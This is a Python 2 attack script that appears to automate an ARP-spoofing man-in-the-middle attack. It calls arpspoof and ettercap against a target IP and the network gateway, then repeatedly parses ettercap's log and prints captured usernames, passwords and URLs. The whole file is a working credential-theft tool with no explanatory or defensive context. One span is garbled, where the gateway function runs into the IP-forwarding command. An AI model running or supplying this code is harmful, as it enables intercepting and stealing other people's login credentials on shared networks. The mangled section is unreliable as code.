#! /usr/bin/env python #include import subprocess import socket, struct import os import sys import time os.system("clear") def get_gate(): with open("/proc/net/route") as fh: for line in fh: fields = line.strip().split() if fields[1] != '00000000' or not int(fields[3], 16) & 2: continue return socket.inet_ntoa(struct.pack(" /proc/sys/net/ipv4/ip_forward") target = raw_input("Enter the target IP: ") interface = raw_input("Enter the interface you want to run on: ") subprocess.call("arpspoof -i %s -t %s -r %s &" % (interface, target, gateway), stdout=subprocess.PIPE, shell=True) subprocess.call("ettercap -T -m etter.txt -i %s -M ARP /%s/ // &" % (interface, target), stdout=subprocess.PIPE, shell=True) time.sleep(2) log_file = "etter.txt" old_time = os.stat(log_file).st_mtime while True: username_list = list(subprocess.check_output("cat etter.txt | grep 'USER:' | tail -1 | awk '{print $6}'", shell=True)) password_list = list(subprocess.check_output("cat etter.txt | grep 'PASS:' | tail -1 | awk '{print $8}'", shell=True)) url = subprocess.check_output("cat etter.txt | grep 'INFO:' | tail -1 | awk '{print $10}'", shell=True) if "+" in username_list: fix1 = username_list.index('+') username_list[fix1] = " " username = "".join(username_list) if "+" in password_list: fix2 = password_list.index('+') password_list[fix2] = " " password = "".join(password_list) new_time = os.stat(log_file).st_mtime if old_time != new_time: print "\n------------------------\n|New credentials found.|\n------------------------\nUsername: %s\nPassword: %s\nURL: %s\n" % (username, password, url) old_time = new_time time.sleep(1)